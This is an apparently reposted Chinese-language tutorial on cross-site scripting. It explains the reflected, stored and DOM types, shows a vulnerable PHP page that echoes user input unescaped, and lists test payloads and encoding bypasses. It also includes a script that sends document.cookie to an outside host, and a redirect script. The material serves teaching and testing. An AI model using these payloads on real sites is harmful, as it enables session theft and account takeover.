XSS 漏洞介绍

概念:

XSS 攻击:跨站脚本攻击 (Cross Site Scripting),为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆。故将跨站脚本攻击缩写为 XSS。

XSS 是一种经常出现在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括 HTML 代码和客户端脚本。

攻击者利用 XSS 漏洞旁路掉访问控制——例如同源策略 (same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的 phishing 攻击而变得广为人知。

对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的 “缓冲区溢出攻击 “,而 JavaScript 是新型的 “ShellCode”。

XSS 攻击的危害包括:

盗取各类用户帐号权限 (控制所盗窃权限数据内容),如机器登录帐号、用户网银帐号、各类管理员帐号

控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

基于 XSS 的跨站业务请求 (如:非法转账、非法下单、非法转载 / 发表内容、发送电子邮件、利用管理员身份提权挂马、控制受害者机器向其它网站发起攻击等)

形成持久化 APT 攻击,长期控制网站业务中枢

利用跨站业务形成蠕虫病毒式传播

劫持网站,劫持后可用于钓鱼、伪装、跳转、挂广告等,属挂马类型

XSS 跨站脚本,是一种 Web 安全漏洞,有趣是是他并不像 SQL 注入等攻击手段攻击服务端,本身对 Web 服务器没有危害,攻击的对象是客户端,使用浏览器访问这些恶意地址的网民。

XSS 漏洞给一些开发人员是感觉就是鸡肋漏洞,不属于漏洞。说鸡肋也并不是那么鸡肋,我们用实例来看一下

Php Code:

<!DOCTYPE html> <html> <head> <title>姓名提交</title> </head> <body> <form action="" method="get"> 名字:<input type="text" name="name"> <input type="submit" value="提交"> </form> </body> </html> <?php echo '你的用户名:'.@$_GET['name']; ?>

Payload

<script>alert(/xss/)</script>

以上代码使用$_GET[‘name’]获取用户输入的 name 变量,然后使用 echo 输出在页面上。正常输入,应该显示我输入的内容在页面上,

这是最基本的一串脚本代码,用于测试是否存在 XSS 漏洞。这串代码被放到了  标签里,被当做了一个弹窗去执行。明显可见脱离了原本开发者的本意。说到这里应该都理解 XSS 了,XSS 漏洞就是没有正确的过滤数据提交的问题

XSS 的分类

1. 反射性 XSS

反射性,简单说,就是要用户去点击,点了我才执行响应的命令。这种类型的 XSS 攻击是最常见的。明显特征就是把恶意脚本提交到 URL 地址的参数里,比如上面所讲的那个例子。

反射性 XSS 只执行一次,且需要用户触发。

2. 储存性 XSS

储存性 XSS 也就比较好理解了,就是持久性的 XSS,服务端已经接收了,并且存入数据库,当用户访问这个页面时,这段 XSS 代码会自己触发,不需要有客户端去手动触发操作。

3. DOM XSS

简单理解 DOM XSS 就是出现在 javascript 代码中的 xss 漏洞,不需要服务端交互,只发生在客户端传输数据的时候。

XSS 漏洞检测 Poc

1. 标准的 xss 漏洞测试代码

<script>alert('xss')</script>

2. img 图片标记属性跨站攻击代码

<img src="javascript:alert(/xss/)"></img> <img dynsrc="javascript:alert('xss')">

3. 无需 “<>”,利用 html 标记事件属性跨站

<img src="" onerror=alert("xss")>

4. 空格与回车符转换

<img src="Jav&#x09;ascript:alert('xss')"> <img src="Jav&#x0A;ascript:alert('xss')"> <img src="Jav&#x0D;ascript:alert('xss')">

5. 10 进制转换

<img src="&#74&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41">

储存性 XSS

它与反射型 XSS 最大的不同就是服务器再接收到我们的恶意脚本时会将其做一些处理,例如储存到数据库中,然后当我们再次访问相同页面时,将恶意脚本从数据库中取出并返回给浏览器执行。

这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型 XSS 的危害会更大。

A 用户插入 数据库接受并且保存下来  B 用户访问到该页面 也能看到弹窗  CDFHG 用户都能看到。

如果 A 插入的恶意劫持代码,那么后面的用户都会被中枪。全范围的扫射攻击,这个过程一般而言只要用户访问这个界面就行了,不像反射型 XSS,需要访问特定的 URL 或者用户去手动点击触发。

储存性 XSS 多存在于留言板等地方

XSS 危害

1. 页面重定向

<script>window.location='http://akulaku.com/'</script>

就是当用户浏览到此页面的时候,就跳转到指定的网站去了

2. cookie 获取

<script>new Image().src="http://192.168.0.8/xss.php?output="+document.cookie;</script>或者Xss 平台,可以看到图片是裂开的那种样子,我们指定的图片地址根本不存在,所以 onerror 里的代码也能得到执行。

脚本编码的绕过方式,是针对关键词过滤所出发的。有的程序员,对代码中的关键词 比如 script 进行过滤,这个时候就可以用到编码了,尝试编码后再进行插入。比如,alert(1) 编码过后就是:

`\u0061\u006c\u0065\u0072\u0074(1)`

那么执行的工具语句也就是:`<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>`

等好多利用方式!

猜你喜欢

转载自www.cnblogs.com/hack404/p/10387788.html
今日推荐